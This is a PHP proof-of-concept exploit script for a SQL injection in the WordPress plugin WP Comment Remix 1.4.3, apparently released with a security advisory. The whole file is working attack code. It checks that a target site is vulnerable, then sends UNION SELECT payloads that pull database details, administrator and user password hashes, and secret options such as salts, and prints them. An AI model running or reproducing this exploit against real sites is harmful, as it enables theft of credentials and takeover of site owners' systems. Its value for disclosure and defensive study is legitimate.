<?php
	/**
	 * WP Comment Remix 1.4.3 SQL Injection
	 * Proof of Concept
	 * By g30rg3_x <g30rg3x_at_chxsecurity_dot_org>
	 *
	 * Advisory:
	 * http://chxsecurity.org/advisories/adv-3-full.txt
	 *
	 * PoC Mirror:
	 * http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip
	 *
	 * Attention:
	 * This is a Proof-of-Concept it was never intended to be fully functional
	 *
	 * Notes:
	 * Uses cURL
	 */

	// Script Header
	function head() {
		print "n WP Comment Remix 1.4.3 SQL Injection";
		print "n By g30rg3_x <g30rg3x_at_chxsecurity_dot_org>";
		print "n ------------------------------------------------";
		print "n This is a Proof-of-Concept it was never intended to be fully functionaln";
	}

	// Usage Information
	function usage() {
		global $argv;
		head();
		print "n Usage: php {$argv[0]} <host> <path> <information> <table-prefix>n";
		print "n  <host>: Hostname or IP Address";
		print "n  <path>: Path to WordPress (Defaults to: /)";
		print "n  <information>: Information to Extract (Defaults to: relevant)";
		print "n    dbinfo = Extract MySQL Current User, Database and Version";
		print "n    admins = Extract Only Admins (users with level 10)";
		print "n    users = Extract All Users (includes admins)";
		print "n    options = Extract Relevant Options like active_plugins, secret, ...";
		print "n    alloptions = Extrac All Options (Huge data would be directly printed out!)";
		print "n    relevant = dbinfo + admins + options";
		print "n    all = dbinfo + users + alloptions";
		print "n  <table-prefix>: WordPress Tables Prefix (Defaults to: wp_)n";
		print "n Examples:";
		print "n  php {$argv[0]} foo.bar";
		print "n  php {$argv[0]} foo.bar /wordpress/";
		print "n  php {$argv[0]} foo.bar /wordpress/ all foo_";
		print "n";
		exit();
	}

	// cURL HTTP GET
	function GET($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Connection: Close'));
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_USERAGENT, 'WP-Comment-Remix 1.4.3 SQL Injection Proof-of-Concept');
		$result = curl_exec($ch);
		curl_close($ch);

		if ( preg_match('%HTTP/[0-9.x]+ 200 OK%', $result) )
			return $result;
		else
			return false;
	}

	// Obtain Database Information
	function obtainDBInfo() {
		global $prefix, $url;
		$injection = '/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(0x757365727B,user(),0x7D44427B,database(),0x7D76657273696F6E7B,version(),0x7D),10,11,12,13,14,15--';
		$result = GET($url . $injection);
		preg_match_all('/user{(?P<user>.+)}DB{(?P<DB>.+)}version{(?P<version>.+)}/', $result, $captured, PREG_PATTERN_ORDER);
		$db['user'] = $captured['user'][0];
		$db['name'] = $captured['DB'][0];
		$db['version'] = $captured['version'][0];
		return $db;
	}

	// Obtain WordPress Users Information
	function obtainUsersInfo($all = false) {
		global $prefix, $url;
		$injection = "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(0x757365727B,{$prefix}users.user_login,0x7D706173737B,{$prefix}users.user_pass,0x7D),10,11,12,13,14,15/**/FROM/**/{$prefix}users" . ( $all ? '' : ",{$prefix}usermeta/**/WHERE/**/{$prefix}users.ID={$prefix}usermeta.user_id/**/AND/**/{$prefix}usermeta.meta_key/**/REGEXP/**/0x757365725F6C6576656C/**/AND/**/{$prefix}usermeta.meta_value=10" ) . '--';
		$result = GET($url . $injection);
		preg_match_all('/user{(?P<user>.+)}pass{(?P<pass>.+)}/', $result, $captured, PREG_PATTERN_ORDER);
		for( $i = 0; $i < count($captured['user']); $i++ )
			$users[$captured['user'][$i]] = $captured['pass'][$i];
		return $users;
	}

	// Obtain WordPress Options Information
	function obtainOptionsInfo($all = false) {
		global $prefix, $url;
		$injection = "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(option_name,0x7B7C,option_value,0x7C7D),10,11,12,13,14,15/**/FROM/**/{$prefix}options" . ( $all ? '' : '/**/WHERE/**/option_name/**/REGEXP/**/0x7369746575726C7C6C6F67696E7C757365727C706173737C617574687C7365637265747C73616C747C6163746976655F706C7567696E737C73656564' ) . '--';
		$result = GET($url . $injection);
		preg_match_all('%<p>(?P<name>.+){|(?P<value>.+)|}</p>%', $result, $captured, PREG_PATTERN_ORDER);
		for( $i = 0; $i < count($captured['name']); $i++ )
			$options[$captured['name'][$i]] = $captured['value'][$i];
		return $options;
	}

	// Set no time limit (only if safe mode is off)
	if ( !ini_get('safe_mode') )
		set_time_limit(0);

	// Print usage if there is no host
	if ( !isset($argv[1]) )
		usage();

	// Header, Arguments and Generate URL
	head();
	$host = $argv[1];
	$path = isset($argv[2]) ? $argv[2] : '/';
	$info = isset($argv[3]) ? $argv[3] : 'relevant';
	$prefix = isset($argv[4]) ? $argv[4] : 'wp_';
	$url = 'http://' . $host . $path . 'wp-content/plugins/wp-comment-remix/ajax_comments.php?p=0';

	// Check if we can reach "ajax_comments.php"
	print "n Does ajax_comments.php exist? ... ";
	$result = GET($url);
	if ( !$result ) {
		print "No";
		print "n -----------------------------------------------------------";
		print "n Seems that the site does not have WP Comment Remix installed";
		print "n OR the path you proportionate is incorrect.";
		print "n Please review your arguments and try again.n";
		exit();
	}
	print 'Yes';

	// Check if is it possible to inject...
	// ToDo: Some WordPress installations return more than 15 columns (this is caused by some plugins that alter
	// the comments table structure and don't revert back this change) so this injection may fail A LOT in a non-default
	// enviroment (ie. sites with many plugins), so if you REALLY want this PoC to be more "functional" then improve
	// this part of the PoC; it was never my intention to deliver a "fully functional" Proof-of-Concept.
	print "n Can we Inject SQL Code? ... ";
	$result = GET($url . '/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--');
	if ( preg_match('/There are no comments for this post/', $result) ) {
		print "No";
		print "n --------------------------------------";
		print "n Seems that the host is already patched.n";
		exit();
	}
	print 'Yes';

	// Check table prefix but don't check if the user selected to obtain database information.
	if ( $info != 'dbinfo') {
		print "n Is "{$prefix}" the table prefix? ... ";
		$result = GET($url . "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/{$prefix}users--");
		if ( preg_match('/There are no comments for this post/', $result) ) {
			print "No";
			print "n ------------------------------------------------";
			print "n Seems that the table prefix "{$prefix}" is incorrect.";
			print "n But this time we are not exiting, cause we can still extract";
			print "n the database information, so m just going to change your choice";
			print "n to dbinfo so you can still get that valuable information.";
			print "n ------------------------------------------------n";
			$info = 'dbinfo';
		} else {
			print 'Yes';
		}
	}

	// Now is time to inject
	print "nn Seems that everything is fine so now it's super fun time :P...";
	switch($info) {
		case 'all':
			$db = obtainDBInfo();
			$users = obtainUsersInfo(true);
			$options = obtainOptionsInfo(true);
			break;
		case 'relevant':
			$db = obtainDBInfo();
			$users = obtainUsersInfo();
			$options = obtainOptionsInfo();
			break;
		case 'dbinfo':
			$db = obtainDBInfo();
			break;
		case 'admins':
			$users = obtainUsersInfo();
			break;
		case 'users':
			$users = obtainUsersInfo(true);
			break;
		case 'options':
			$options = obtainOptionsInfo();
			break;
		case 'alloptions':
			$options = obtainOptionsInfo(true);
			break;
	}

	/* It's Show Time */

	// Database Information
	if ( !empty($db) ) {
		print "nn Database Information";
		print "n ---------------------";
		print "n MySQL User: {$db['user']}";
		print "n MySQL Version: {$db['version']}";
		print "n MySQL Database Name: {$db['name']}";
	}

	// Users Information
	if ( !empty($users) ) {
		print "nn Users";
		print "n ---------";
		foreach( (array) $users as $user => $pass ) {
			print "n Username: {$user}";
			print "n Password: {$pass}  " . ( strlen($pass) <= 32 ? '(MD5)' : '(Passhash)' );
			print "n ---------";
		}
	}

	// Options Information
	if ( !empty($options) ) {
		print "nn Options";
		print "n ---------";
		foreach( (array) $options as $name => $value ) {
			print "n Name: {$name}";
			print "n Value: {$value}";
			print "n ---------";
		}
	}

	// Good Bye =)
	print "nn Have Fun! =)n";
?>

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